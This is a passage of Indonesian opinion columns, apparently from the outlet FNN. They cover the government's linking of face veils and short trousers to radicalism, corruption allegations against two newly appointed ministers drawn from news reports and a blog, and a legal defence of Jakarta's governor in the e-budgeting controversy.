yang dalam atas konsep dan definisi tersebut. Akibatnya, kata radikalisme itu, harus ditarik kembali. Sayangnya, Menteri Agama Fahrul Rozi asal ngerocos. Merasa mendapatkan tugas, sudah bergerak lebih cepat. Sebelum adanya penganuliran sendiri. Dia sudah menterjemahakan sendiri radikalisme itu kepada simbol. Seperti cingkrang (celana yang dipake sampe batas bawah lutut, dan di atas tumit) dan cadar (berjiblab dengan ikut menutup wajah kecuali mata). Menteri Agama mengatakan, pegawainya yang pake cingkrang dilarang masuk kantor, alias keluar dari pegawai negeri. Meskipun Menteri menganulir lagi, bahwa itu bukan pelarangan. Hanya sebagai rekomendasi. Namun giliran Wakil Menteri Agama yang harus menunjukkan loyalitasnya. Lebih bersikp estrim. Wakil Menteri melarang penggunaan cadar dan cingkrang di lingkungan Kementerian Agama. Pekerjaan Menteri Agama yang “membreak down" radikalisme kepada simbol berpakaian merupakan kemajuan besar. Ini juga sangat luar biasa. Meskipun sikap itu dilakukan dengan terburu-terburu. Sebab akibatnya adalah salah. Setelah itu menganulisnya sendiri. Clifford Geertz dalam "Religion as a cultural system", 1993, mengetengahkan pentingnya memperhatikan simbol dalam sebuah konsep budaya. Simbol menurutnya, merupakan alat atau metoda manusia berkomunikasi, mengembangkan pengetahuan dan sikap dalam kehidupan. Agama menurut Geertz adalah "a system of symbols". Menurutnya, simbol agama, merupakan kode atau "bahasa isyarat" keterhubungan antara manusia. "a symbolism relating man's sphere of existence to a wider sphere within which it is conceived to rest, that both the affirmation and denial are made". Cadar dan Cingkrang merupakan dua simbol pakaian muslim yang berkembang di Indonesia saat ini. Cadar merupakan varian hijab seperti berselendang di masa lalu dan jilbab saat ini. Cingkrang sendiri merupakan ajaran agama Islam yang menutup aurat lelaki. Variasi penafsiran penutupan ini sampai di bawah lutut, dan di atas mata kaki. Namun sebagiannya tidak mengharuskan batas bawah tersebut. Disamping cingkrang, trend ummat Islam di Indonesia saat ini adalah gamis, serta sebagiannya menggunakan (lagi) sarung. Lalu apakah cadar dan cingkrang dua buah simbol kejahatan? Simbol iblis? Ataukah keduanya simbol kesalehan? Geerzt yang menekankan simbol dalam kajian budaya tentu terkait dengan "symbol" dan "meaning" dalam pendekatan "symbolic-interactional", gang dikembangkan para sosologi, khususnya Max Weber. "Meaning" atau makna dari simbol penting untuk melihat sejauh apa interaksi sosial akan berjalan baik. Jadi pertanyaan di atas harus mampu membongkar makna dari simbol cadar dan cingkrang tersebut. Beberapa tahun lalu penggunaan cadar di eropa dilarang. Denda diberlakukan terhadap wanita muslim yang menggunakan cadar di beberapa area tertentu atau kantor publik. Ketidaksukaan masyarakat barat terhadap symbol-simbil yang berasosiasi dengan Islam dapat ditarik jauh dalam sejarah permusuhan Kristen dan Islam di masa lalu. Pembantaian 50 orang jemaah Masjid beberapa waktu lalu di Christchurch, New Zealand, misalnya sebagai bagian dari ketiksukaan orang-orang barat. Karena terdapat jejak digital. Pembunuhnya terinspirasi kelanjutan perang Salib terhadap ummat Islam. Disamping konflik Kristen vs. Islam di era pertengahan lalu, membuat kapitalisme barat, yang non agama juga mempunyai permusuhan kepada Islam. Ketidaksesuaian konsep mereka dengan pandangan Islam soal peradaban. Sebab, kolonialisme barat terhadap negara-negara Islam menghadapi perlawanan konsisten dari organ perjuangan Islam. Islam di barat, sebagai agama migran disana. Islam harus beradaptasi dengan peradaban barat tersebut. Beberap pengusaha keturunan arab di Prancis dan Belgia, misalnya, meski membayar berapapun denda yang dikenakan kepada perempuan muslim terkena denda. Itu sebagai bentuk empati. Namun, akan sampai kapan pelarangan cadar ini? Belum diketahui. Indonesia, kesadaran baru ataupun "invention atau redefinition” atas penutupan aurat wanita dalam Islam sangat gencar dilakukan sejak era tahun 1980-an. Mun'im Sirry, orientalis liberal dari Notre Damme University of USA, yang membiayai 7 riset terkait agama di Indonesia saat ini, menyatakan bahwa kesadaran berhijab ini merupakan "silent revolution" selama puluhan tahun. Kesadaran yang didukung juga oleh fashion industry. Silent revolution karena hal itu ketika disadari, ternyata telah berlangsung dengan dominan. Bercadar sendiri adalah konsep berhijab yang bukan hanya menutup seluruh tubuh, kecuali tangan dan wajah. Namun bercadar hanya membiarkan mata saja yang boleh terbuka buat wanita di ruang publik. Varian penafsiran soal hijab di kalangan ulama, meskipun mayoritas menganggap berhijab dengan jilbab adalah sesuai perintah agama. Sedangkan cadar sebagai bentuk ekstrim, atau berlebihan. Namun kesalehan orang-orang yang bercadar tidak dapat dikecilkan. Konsep berhijab atau menutup aurat bagi wanita bukanlah kepentingan wanita itu sendiri, namun merupakan bagian konsep keluarga. Konsep keluarga bagi wanita, yang selama ini mengambil peran (agency) membesarkan anak-anaknya, ketika suaminya fokus di luar rumah mencari nafkah. Dengan berhijab, wanita dapat melindungi dirinya dari pergaulan terbuka. Juga memberi pesan nyaman kepada suaminya yang terpisah sepanjang hari. Penutupan wajah kecuali mata dan tangan, atau bercadar, merupakan tindakan wanita yang dapat difahami dalam perluasan atau ekstensi kenyamanan wanita dan keluarganya tersebut. Jika penafsiran agama yang mereka yakini hal ini pula sebagai hijab yang sempurna, tentu kita harus mengapresiasi hal tersebut. Sebagai bentuk kesalehan wanita Indonesia, sesuai sila pertama Pancasila. Islam di Indonesia, adalah ajaran utama yang menaungi 80% penduduknya. Jika di barat Islam adalah pendatang, maka di Indonesia Islam adalah tuan rumah. Sehingga menjadi ganjil rasanya orang-orang bercadar dan bercelana cingkrang dianggap "outsider". Bukannya dilindungi dan dimanjakan oleh kekuasaan yang ada. Tetapi yang terjadi malah sebaliknya. Kebangkitan Peradaban Islam Vedi Hadiz, professor sosiologi dari Melbourne University dalam wawancaranya dengan Balairung Press, selain mengkhawatirkan populisme Islam ditunggangi oligarki pemilik modal. Profesor Vedi juga menunjukkan vacumnya narasi kelompok sosialis kiri dalam menjawab ketidak adilan sosial yang menganga saat ini. Sebelumnya, dalam riset yang komprehensip tentang “Populisme Islam di Indonesia dan Timur Tengah", Hadiz yang melakukan pendekatan Socio-history dan political-economy, memperlihatkan kebangkitan Islam di Indonesia menjadi suatu fakta. Tingginya semangat masyarakat untuk kembali dan mengamalkan Islam itu adalah nyata. Kenyataan ini berbeda dengan di bawah Turki dan Mesir. Yang ukurannya adalah pencapaian penguasaan kapital oleh orang-orang Islam. Namun, riset Hadiz tentang populisme Islam dan Mun'im Sirry tentang "contending modernity" untuk "peaceful co-existence" menunjukkan bahwa kebangkitan Islam di Indonesia sudah tidak dapat dihancurkan lagi. Kebangkitan Islam di Indonesia mempunyai rentang, dari upaya mendominasi kultur, melawan neoliberalisme barat dan ketidakadilan social. Selain itu, mendorong demokrasi tetap berkembang sebagai sistem politik. Cadar dan cingkrang merupakan simbol kultural dari kesalehan warganegara. Sedangkan demokrasi, partisipasi politik ummat Islam dalam pemilu bersifat total. Melihat gejala atau fenomena ini, sebenarnya apa dan siapa yang dirugikan dari kebangkitan peradaban Islam di Indonesia sih? Peradaban Islam, selain menentang dominasi kapitalisme, juga menentang sisi negatif liberalisme kehidupan. Seperti free sex, homosexual, pornografi, dan sejenisnya. Kontestasi symbol-simbol dan narasi Islam versus sisi negatif liberalisme terus berlangsung. Jadi kebencian terhadap kebangkitan peradaban Islam berpusat pada kapitalisme dan ajaran negatif liberalisme itu. Namun, negara sebagai wakil dari sebuah "kontrak sosial", harus pertimbangkan keinginan dominan dalam masyarakat, khususnya jika tidak bertentangan dengan Pancasila. Penutup Cadar dan cingkrang merupakan simbol yang merepresentasikan budaya kesalehan dalam Islam. Kesalehan sendiri merupakan hak-hak dasar manusia yang diyakini sebagai "system of belief" yang sakral. Negara harus mengapresiasi kesalehan seseorang jika tidak mengganggu sistem kepercayaan terhadap arus utama masyarakat. Radikalisme yang diartikan negatif, lalu diterjemahkan dalam simbol cadar dan cingkrang sudah melampaui batas negara mencampuri kehidupan masyarakatnya. Negara, sebagai bagian dari konsensus kontrak sosial bukan mempunyai hak tak terbatas mengatur rakyatnya. Pemerintah harus membuang isu cadar dan isu cingkrang dari keinginan negatif. Negara tidak perlu terlalu jauh mencoba “mengexercise" kekuasaannya. Tidak lagi pada tempatnya, Sebaiknya narasi ke depan disesuaikan dengan agenda "peaceful co-existence" antara ummat Islam dan kekuatan sosial lainnya. Dalam setting agenda persatuan nasional dan tentunya "shared prosperity". Jika tidak, situasi kebangsaan kita akan terus kacau. Kita hanya menjadi mangsa ekploitasi imperium asing. Penulis adalah Direktur Eksekutif Sabang Merauke Circle

Menteri “Bernoda” Korupsi (3): Zainudin Amali dan Wisnu Trenggono?

Oleh Mochamad Toha Jakarta, FNN - Dua nama lainnya yang “bernoda” korupsi adalah Menpora Zainudin Amali dan Wamenhan Wisnu Sakti Trenggono. Zainudin Amali, politisi Partai Golkar, termasuk salah seorang yang dipanggil Presiden Joko Widodo sebelum ditetapkan sebagai menteri. Setelah itu, Rabu (23/10/2019), Zainudin Amali ditunjuk sebagai Menpora menggantikan Imam Nahrawi yang tersangkut skandal korupsi di Kemenpora dan kini diadili di Pengadilan Tipikor Jakarta. Ia punya pengalaman di organisasi kepemudaan. Menurut Presiden Jokowi, sebagai Menpora, Zainudin Amali juga bertugas di kewirausahaan pemuda, sport industry dan sport tourism, “RUU Sistem Keolahragaan Nasional dan perbaiki peringkat SEA Games,” pesan Presiden Jokowi saat pengumuman. Sebelum menjabat Menpora, Zainudin Amali tercatat sebagai Ketua Komisi II DPR RI dari Golkar. Bagaimana dengan Wamenhan Wisnu Sakti Trenggono? Berikut jejak digital news yang menulis tentang keduanya di media selama ini. Zainudin Amali Melansir Tempo.co, Selasa (22 Oktober 2019 15:46 WIB), nama politisi Golkar ini pernah muncul dalam dua kasus korupsi di KPK. Juru Bicara KPK Febri Diansyah membenarkan bahwa Zainudin pernah diperiksa KPK. “Memang ada beberapa nama yang kita tahu terkait dengan beberapa kasus korupsi yang pernah ditangani KPK, bahkan ada yang pernah masuk di komunikasi tersangka yang diperdengarkan di persidangan,” kata Febri, Selasa (22/10/ 2019). Kasus pertama yang menyeret nama Zainudin Amali ialah kasus suap sengketa Pilkada yang membuat mantan Ketua MK Akil Mochtar dihukum penjara seumur hidup oleh Pengadilan Tipikor Jakarta. Melalui percakapan BBM, keduanya diduga melakukan negosiasi soal pengurusan sengketa Pilkada Jatim pada 2014. Ketika itu, ada permintaan uang Rp 10 miliar dari Akil Mochtar. Ia mengakui adanya percakapan dengan Akil Mochtar seusai diperiksa KPK, 20 Januari 2014. Ia tidak membantah kabar bahwa Akil Mochtar meminta Rp10 miliar untuk memenangkan pasangan calon Soekarwo-Saifullah Yusuf. Namun, Zainudin Amali mengaku percakapan itu hanya gurauan. “Tidak ada negosiasi, (arahan itu) kayak kita lagi bercanda-bercanda gitu,” ujar Zainudin Amali setelah diperiksa di KPK, kala itu. Perlu dicatat, dalam sengketa Pilkada Jatim 2013 tersebut, akhirnya dimenangkan oleh Soekarto-Saifullah Yusuf. Zainudin Amali, juga pernah terseret kasus korupsi di Satuan Kerja Khusus Pelaksana Kegiatan Usaha Hulu Minyak dan Gas Bumi (SKK Migas). Tersangka dalam kasus itu ialah Sekretaris Jenderal Kementerian Energi dan Sumber Daya Mineral Waryono Karno. Penyidik KPK pernah menggeledah ruang kerja dan rumah anggota Komisi Energi DPR itu di Jakarta pada Januari 2014. KPK menengarai ada jejak-jejak tersangka di kedua tempat tersebut. “Saya kira itu juga sudah terbuka ya informasinya,” kata Febri. Saat itu Zainudin Amali menjabat Wakil Ketua Komisi VII DPR. Kasus ini merupakan pengembangan penyidikan atas perkara dugaan suap di lingkungan SKK Migas yang menjerat mantan Kepala SKK Migas Rudi Rubiandini. Zainudin Amali saat itu diperiksa untuk tersangka mantan Sekjen ESDM Waryono Karno. begitu keterangan Kepala Bagian Pemberitaan dan Informasi KPK Priharsa Nugraha, Senin (20/1/2014). Ketua DPD Partai Golkar Jatim itu ditanya oleh penyidik KPK mengenai praktik korupsi dan suap di kementerian ESDM yang saat itu dipimpin Menteri Jero Wacik. KPK menggeledah kediaman serta kantor Zainuddin Amali dan menginterogasi seorang stafnya. Liputan6.com, Selasa (22 Okt 2019, 15:09 WIB) menulis, penyidik KPK juga menggeledah ruangan Ketua Komisi VII DPR Sutan Bhatoegana dan rumahnya di Bogor, ruangan anggota Komisi VII Tri Yulianto, ruang rapat Komisi VII, serta ruangan Fraksi Partai Demokrat. Wahyu Trenggono Sebuah tulisan menarik berjudul Korupsi Telkom – TBIG & Kriminalisasi Raden Nuh – Edi Syahputra di Kompasiana.com, Minggu (22 Okt 2019, 15:09 WIB), yang ditulis oleh Ridha Taqaballah menyingkap tabir gelap “permainan” Wahyu Sakti Trenggono. Akun yang menyebut diri sebagai “Tukang Bongkar Korupsi” itu mengungkap banyak hal terkait sepak terjang Wahyu Trenggono yang kini diangkat Presiden Jokowi menjadi Wakil Menteri Pertahanan, wakilnya Menhan Prabowo Subianto. Penunjukan mantan Bendahara TKN Joko Widodo – Ma’ruf Amin ini, untuk ngurusi terkait industri pertahanan, melenceng dari bisnis yang ditekuni Wisnu Trenggono selama ini. Entah mengapa pada akhirnya Presiden Jokowi memilihnya. Bagaimana ceritanya Wisnu Trenggono dan Abdul Satar (PT Tower Bersama Infrastruktur Tbk/TBIG – PT Solusindo Kreasi Pratama) bersama Arief Yahya (PT Telkom) sampai akhirnya bisa “menyingkirkan” Direksi PT Telkom. Berawal dari Keputusan RUPS PT Telkom pada 11 April 2012 yang menetapkan bahwa PT Telkom43e selaku Holding Company PT Dayamitra Telekomunikasi (Mitratel) akan berusaha mewujudkan Mitratel sebagai Perusahaan Terbesar di Asia Tenggara di sektor infrastruktur telekomunikasi/BTS Provider pada 2014. Dengan rencana itu akan diwujudkan melalui aksi korporasi strategis berikut: Merealisasi rencana Mitratel Go Public (IPO) pada akhir 2012; Telkom selaku holding company akan menambah Ekuitas Rp 2 triliun untuk Mitratel sebagai tambahan modal investasi; Menambah portofolio kredit perbankan untuk modal kerja dan investasi Mitratel hingga Rp 10 triliun; Mengalihkan pengelolaan menara BTS Telkom Group (Telkom, Telkomsel, Flexy dan lain-lain) yang berjumlah > 50.000 unit secara bertahap ke Mitratel hingga menjadikan Mitratel sebagai perusahaan pengelola menara BTS terbesar di Asia Tenggara; Terakhir, dengan mengakuisisi perusahaan sejenis seperti PT Tower Bersama, Protelindo, dan lain-lain. Keputusan RUPS Telkom terkait pengembangan bisnis Mitratel tersebut sudah disetujui dewan komisaris dan pemegang saham/pemerintah. Direksi Telkom sendiri menargetkan kapitalisasi market Mitratel melalui IPO dan seterusnya sebagaimana diputuskan RUPS Telkom 11 April 2012 akan mencapai Rp 100 triliun pada 2013, Rp 250 triliun pada akhir 2014; Dan, Rp 400 triliun pada Rp 2016 dengan penguasaan pangsa pasar di atas 80 persen dengan realisasi seluruh rencana aksi koporasi Telkom terkait Mitratel termasuk rencana mengakuisi TBIG, Protelindo, dan lain-lain. ‎​​Jelas, rencana itu merupakan ancaman terbesar terhadap kelangsungan hidup/eksistensi/bisnis kompetitornya /perusahaan sejenis: PT Tower Bersama Infrastruktur Tbk dan PT Solusindo Kreasi Pratama (milik Wahyu Trenggono/Abdul Satar Cs), Protelindo, dan seterusnya. ‎​​Rencana mewujudkan Mitratel sebagai perusahaan infrastruktur telekomunikasi terbesar di Asia Tenggara terbukti telah digagalkan melalui perubahan mendadak di jajaran manajemen puncak/Direksi PT Telkom Indonesia Tbk. Rinaldi Firmansyah, Dirut Telkom dan 5 direksi Telkom lainnya diberhentikan mendadak, digantikan oleh Arief Yahya yang sebelumnya Direktur Enterprise Whole Sales PT Telkom, melalui RUPSLB 9 Mei 2012 (kurang sebulan setelah RUPS Telkom 11 April 2012). ‎​Alasan resmi penggantian tersebut tidak pernah diketahui secara pasti, padahal Rinaldi Firmansyah Cs baru diperpanjang masa jabatannya sebagai Direksi Telkom untuk periode kedua karena kinerjanya yang sangat memuaskan. ‎​Berdasarkan pengakuan langsung Wahyu Trenggono dan Abdul Satar, pihaknyalah yang jadi aktor intelektual pemecatan Rinaldi Cs secara mendadak tersebut. Wahyu Trenggono melobi intensif Menteri Perekonomian dan Menteri BUMN. Posisi Wahyu Trenggono sebagai Bendahara PAN saat itu, sumbangan Rp 15 miliar ke PAN dan komitmen Wahyu Trenggono akan membantu likuiditas logistik PAN, sumbangan Rp 15 miliar untuk kegiatan Menteri BUMN yang disalurkannya melalui Staf Menteri BUMN Budi Rahman Hakim, menjadi faktor utama keberhasilannya menggusur Rinaldi dari jabatan Dirut Telkom. Wahyu Trenggono berhasil memperdaya Menko Perekonomian Hatta Rajasa guna mengganti Rinaldi Firmansyah Cs dengan Arief Yahya Cs. Melalui uang suap Rp 30 miliar (untuk PAN dan Menteri BUMN) dalam rangka memuluskan pemecatan Rinaldi Firmansyah Cs dan menjadikan Arief Yahya 'boneka' Wahyu Trenggono/ Abdul Satar sebagai Dirut Telkom. Uang itu berasal dari uang hasil korupsi Proyek Mobil Penyedia Layanan Internet (MPLIK) BP3TI Kementerian Kominfo yang paketnya dimenangkan PT Telkom, yaitu Rp 520 miliar dari total proyek Rp 1,4 triliun TA 2011. ‎​​Uang suap Rp 30 miliar untuk PAN (Menko Perekonomian) dan Menteri BUMN itu, Rp 28,5 miliar berasal dari uang muka proyek MPLIK Telkom yang dibayar PT Telkom kepada rekanan PT Telkom dalam pengerjaan proyek MPLIK, yakni PT Geosys Alexindo. Sisanya, ditalangi oleh Wahyu Trenggono dan Abdul Satar. PT Geosys sendiri diduga adalah milik Wahyu Trenggono dan Alex J Sinaga (eks Dirut PT Pramindo Ikat Nusantara/sekarang Dirut Telkomsel).​ Berdasarkan temuan internal audit dan LHP BPK diketahui PT Geosys Alexindo ternyata perusahaan fiktif/abal-abal, ditunjuk sebagai rekanan dalam pengerjaan proyek MPLIK oleh Arief Yahya, Direktur EWS Telkom dan Abdus Somad, VP EWS Telkom secara melanggar hukum dan prosedur di PT Telkom serta tanpa sepengetahuan dewan direksi Telkom. ‎​​Temuan audit internal Telkom dan LHP BPK, diketahui penunjukan dan penandatangan kontrak PT Telkom - PT Geosys Alexindo dilakukan Arief Yahya - Abdussomad tanpa melibatkan dan/atau tanpa persetujuan rapat Dewan Direksi Telkom. Demikian juga pembayaran uang muka proyek MPLIK Rp 28,5 miliar dari Telkom kepada PT Geosys dilakukan atas perintah Arief Yahya yang bukan merupakan kewenangannya selaku Direktur EWS Telkom. Belakangan diketahui PT Geosys Alexindo memang direncanakan sebagai SPV (special purpose vehicle) untuk mendapat cash money dalam rangka menyuap Menko Perekonomian/PAN dan Menteri BUMN agar Rinaldi Firmansyah Cs dipecat dan Arief Yahya Cs ditunjuk sebagai pengganti Dirut/Direksi Telkom. Temuan audit internal Telkom dan LHP PK terkait pelanggaran hukum dan korupsi Arief Yahya, Abdus Somad, Wahyu Sakti Trenggono dan Abdul Satar pada proyek MPLIK BP3TI Kementerian Kominfo di PT Telkom Indonesia Tbk ini sudah disidik oleh Kejaksaan Agung. Penyidik Kejagung sudah memanggil Arief Yahya pada 27 Desember 2013 dan 27 Januari 2014, namun Arief Yahya mangkir atau menolak hadir diperiksa di Kejagung. Janji Jaksa Agung, Jampidsus, dan Dirdik Jampidsus untuk memanggil paksa Arief Yahya pada awal 2014 dan penetapan sebagai tersangka tidak pernah ditepati. Anehnya, penyidik Kejagung tiba-tiba menghentikan penyidikan atas Arief Yahya, Abdus Somad, Wahyu Trenggono, dan Alex J Sinaga. Benarkah yang ditulis Ridha Taqaballah di Kompasiana.com tersebut? Jika Kejagung sudah menghentikan penyidikan skandal ini, KPK wajib turun tangan! Ingat, pesan Presiden Jokowi, jangan korupsi! (SELESAI). Penulis adalah wartawan senior. ***

E-Budgeting DKI Memang Payah

Bekerjalah dengan sungguh dan selalu riang Mas Anies. Senangkanlah orang-orang kecil itu dengan rasa keadilan. Dengan keberpihakan yang nyata dan terukur. Datangkanlah senyuman kepada mereka di sepanjang hari. Sepanjang mereka berada di lorong-lorong, dan di gang-gang. Oleh Dr. Margarito Kamis Jakarta, FNN - Anies Rasyid Baswedan, terkenal sebagai pria yang santun dengan tutur kata. Anies juga lembut, sangat terukur dan ternalar dalam ucapannya. Sanking terukur itu, sampai menurut Pak Zufkifli Hasan, mantan Ketua MPR, Anies adalah gubernur rasa presiden. Entah karena, rasa itu atau bukan. Namun yang terlihat belakangan ini, Anies cukup sering menjadi sasaran kritik hanya untuk hal yang sebenarnya lucu-lucu. Misalnya, kritik atas rencana anggaran lem aibon dan pulpen, yang lucu selucu-lucunya. Tetapi menjadi menarik. Karena laki-laki penyandang gelar PhD ini menyongsong, menerima dan merespon sejauh yang bisa menjadi cirinya. Selalu saja dengan perspektif yang khas. Kalimatnya, yang tertata penuh nalar dan emosinya yang terjaga. Dalam isu “lem aibon” yang tak masuk akal itu, Anies pria yang berperhitungan jauh. Dia begitu detail dalam meresponsnya. Begitulah cara dia. Salah Memahami Aanggaran Pendapatan dan Belanja Daerah (APBD) DKI Jakarta untuk tahun anggaran 2020, belum ditetapkan oleh DPRD dan Pemerintah Provinsi DKI Jakarta. Perda DKI tentang APBD untuk tahun 2020, sampai hari ini, juga belum ada. Itu jelas, dan bukan mengada-ada. Kebijakan Umum Anggaran dan Prioritas Plafon Anggaran Sementara (KUA-PPAS), bukanlah anggaran. Bila KUA-PPAS mau dilihat dari sudut pandang hukum. Rencana Kerja Anggaran Satuan Kerja Perangkat Daerah (RKA-SKPD) dan Dokumen Pelaksanaan Anggara (DPA) SKPD juga pasti belum ada. Tidak ada satupun ketentuan dalam UU Nomor 23 Tahun 2014 Tentang Pemerintahan Daerah, UU Nomor 17 Tahun 2003 Tentang Keuangan Negara, Peraturan Pemerintah Nomor 58 Tahun 2005 Tentang Pengelolaan Keuangan Daerah, Peraturan Menteri Dalam Negeri Nomor 13 Tahun 2006 Tentang Pedoman Pengelolaan Keuangan Daerah yang telah beberapa kali diubah, terakhir dengan Peraturan Menteri Dalam Negeri Nomor 21 Tahun 2011, yang mengategorikan KUA-PPAS sebagai anggaran. Itu sebabnya, dilihat dari sudut pandang hukum keuangan negara, kebijakan rencana anggaran yang dituangkan dalam KUA-PPAS, sekali lagi, tidak memiliki sifat dan kapasitas hukum sebagai anggaran. Itu sangat jelas dan pasti. Tidak butuh penafsiran yang macam-macam. KUA-PPAS yang telah dibahas dan disepakati bersama Pemrov dengan DPRD, dituangkan dalam Nota kesepakatan berasama Pemrov dan DPRD. Nota ini harus ditandatangani pada waktu yang bersamaan. Nota inilah yang menjadi dasar bagi Pemprov dalam penyusunan RKA-SKPD. Setelah KUA-PPAS ditandatangani, Sekertaris Daerah sebagai Ketua TIM Anggaran Pemerintah Daerah (TAPD) menyiapkan rancangan Surat Edaran tentang Pedoman penyusunan RKA-SKPD. Isinya mencakup prioritas pembangunan daerah dan program atau kegiatan. Misalnya, RKA-SKPD mengenai alokasi plafon anggaran sementara untuk setiap program atau kegiatan. Selain itu, analisis mengenai standar belanja dan standar satuan harga barang yang akan dipergunakan. Berbekal itulah kepala SKPD menyusun RKA-SKPD. Sudah jadikah APBD tersebut? Tidak juga. RKA-SKPD itu harus disampaikan lagi ke Pejabat Pengelola Keuangan Daerah (PPKD) untuk diteliti. Setelah diteliti, barulah disetujui oleh TAPD. Bila RKA itu telah sesuai dengan KUA-PPAS, prakiraan maju pada RKA-SKPD tahun berjalan. Disiapkan juga dokumen perencanaan lainnya, termasuk rencana anggaran dengan standar analisis biaya, standar satuan harga. Juga kelengkapan kinerja, proyeksi prakiraan dan sinkronisasi program dan kegiatan antar RKA-SKPD. Semua itu dijadikan lampiran rancangan Peraturan Daerah mengenai APBD dan dibahas bersama-sama dengan DPRD. Setelah semuanya beres, barulah Rancangan Peraturan APBD disampaikan kepada DPRD. Untuk selanjutnya dibahas bersama. Kemudian disetujui bersama, dan ditetapkan bersama menjadi Peraturan Daerah DKI Jakarta tentang APBD tahun 2020. Apakah dengan selesainya Peraturan Daerah tentang APBD DKI tahun 2020, dari aspek hukum, SKPD telah dapat melaksanakan APBD tersebut? Ternyata belum bisa juga. Sebab masih harus diserahkan dulu kepada Kementerian Dalam Negeri untuk diteliti. Taruhlah Kementerian Dalam Negeri menyetujui APBD yang telah diperdakan itu. Apakah demi hukum APBD serta-merta dapat dilaksanakan? Lagi-lagi belom bisa juga. Sebab Kepala SKPD masih harus menyiapkan Dokumen Pelaksanaan Anggaran (DPA) SKPD. DPA SKPD tersebut harus diteliti lagi oleh PPKD, dengan persetujuan Sekretaris Daerah. Setelah dievalusi oleh TAPD, barulah diterbitkan peraturan Kepala Daerah tentang penjabaran APBD. Setelah selesai tahapan ini, barulah APBD bisa dilaksanakan. Pada tahap ini barulah bicara mengenai anggaran. Misalnya, berapa besar anggaran untuk “lem aibon dan pulpen.” Pada tahap inilah baru angka angggaran menjadi fix. Angka ini mempunyai nilai, kapsitas dan resiko hukum, sehingga sudah dapat dibelanjakan. Sepanjang belum ada dokumen pelaksanaan anggarannya dari SKPD, maka APBD yang telah disahkan itu tidak bisa digunakan sebagai dasar untuk belanja. Begitulah seharusnya membaca, memperlajari dan memahami tata urusan perundang-undangan mengenai penggunaan APBD DKI Jakarta tahun 2020 Perbaiki Sesuai Hukum Begitulah panduan singkat nilai, norma dan standar teknis penyusunan RAPBD. Soalnya apakah “puluhan bahkan, ratusan milyar rupiah untuk belanja lem aibon dan pulpen yang lucu, aneh dan ajaib itu” telah disusun sesuai nilai, norma dan standar di atas? Pasti tidak, atau belum sesuai. Angka-angka besaran nilai anggaran yang tertuang dalam sistem elektronik budgeting itu, pasti bukan angka otoritatif. Pasti juga bukanlah angka yang telah disetujui bersama-sama antara Pemerintah Daerah dengan DPRD DKI Jakarta. Bagaimana mungkin sistem e-budgeting Pemprov DKI bisa menerima angka-angka konyol itu? Apakah sistem ini dirancang untuk hanya menampung materi-materi KUA – PPAS dari Pemprov saja? Apakah sistem ini tidak dirancang untuk memasukan KUA-PPAS yang telah dibahas dan disetujui bersama-sama antara Pemerintah Provinsi dengan DPRD DKI? Apakah e-budgeting juga tidak memasukan RKA-SKPD yang telah dibahas dan disetujui bersama Pemprov DKI dengan DPRD? Apakah e-budgeting juga tidak menampung DPA-SKPD? Bagaimana mungkin sistem itu tidak dapat menunjukan perbedaan angka yang dirancang dan angka yang telah ada pada DPA? Bila begini nyatanya, maka sistem ini betul-betul tak layak. Malapetaka yang sangat fatal. Menariknya, ruang rancangan APBD dengan segala lapisan teknisnya berhimpit, dan bercampur dengan politik. Campurannya, terlepas dari deteilnya, menjadi ruang yang sudut-sudutnya beragam dan menggairahkan. Seperti tabiat bawaannya, gairah akan membawa siapapun kemanapun yang dikehendaki. Acapkali membawanya tergulung dalam gelombang mematikan. Memuluskan jalan kawan menuju puncak politik di satu sisi, dan mematikan lawan disisi lain bisa muncul dalam ruang tarung politik RAPBD, dimanapun. Anies, pernah ramai dirumorkan di detik-detik akhir pendaftaran capres-cawapres kemarin, sebagai cawapres Prabowo. Mungkin Anies masih teridentifikasi sebagai sosok yang berpeluang luas di 2024. Terlalu mahal, tentu saja, untuk disepelekan. Politik memang tidak melulu bertalian dengan citra. Tetapi merusak citra lawan adalah tabiat klasik dalam politik. Menutup semua kesempatan yang memungkinkan pesaing memperoleh, memupuk dan memperbesar citra manis, harus dikerjakan dengan sesistimatis dan seawal mungkin. Itu cukup sering terlihat sebagai hal biasa. Sudahlah Mas Anies. Terimalah semua itu sebagai bagian problematis yang terwariskan dari sistem e-budgeting ini. Perbaikilah semua itu. Adaptasikan, dan sesuaikan dengan prosedur hukum tahapan pembentukan RAPBD sampai menjadi APBD. Pastikan perbaikannya, sehingga sistem ini dapat menunjukan dengan terang-benderan semua informasi, sejak perencanaan anggaran hingga anggaran dalam DPA-SKPD. Bekerjalah dengan sungguh dan selalu riang Mas Anies. Senangkanlah orang-orang kecil itu dengan rasa keadilan. Dengan keberpihakan yang nyata dan terukur. Datangkanlah senyuman kepada mereka di sepanjang hari. Sepanjang mereka berada di lorong-lorong, dan di gang-gang. Mas Anies, datanglah kesana untuk menemui mereka. Sapalah mereka dengan senyumanmu yang khas itu. Bikinlah mereka agar selalu tersenyum, meskipun kehidupan mereka masih pas-pasan, bahkan serba kekurangan. Matahari dan rembulan ada dalam doa mereka. Gapailah doa itu bersama mereka. Mengalirlah terus dengan tatapan yang menyejukan, dan wajah bersih itu. Wajah yang selalu dibasah dan dibasuh dengan air wudhu. Jaga silaturrahimlah yang terus-menerus dengan semua orang. Termasuk dengan lawan sekalipun “bila ada”. Jangan pernah minta simpati. Jangan juga minta dimengerti dan dipahami. Jadilah pemasar kebaikan dan keadilan yang tanpa batas. Biarkan roda kebaikan dan kedashatan doa orang kecil itu berputar memimpin dirimu. Doa yang membawa dan mengemudikan takdirmu. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Bismillahirrahim, Pak Idham di Puncak Polri

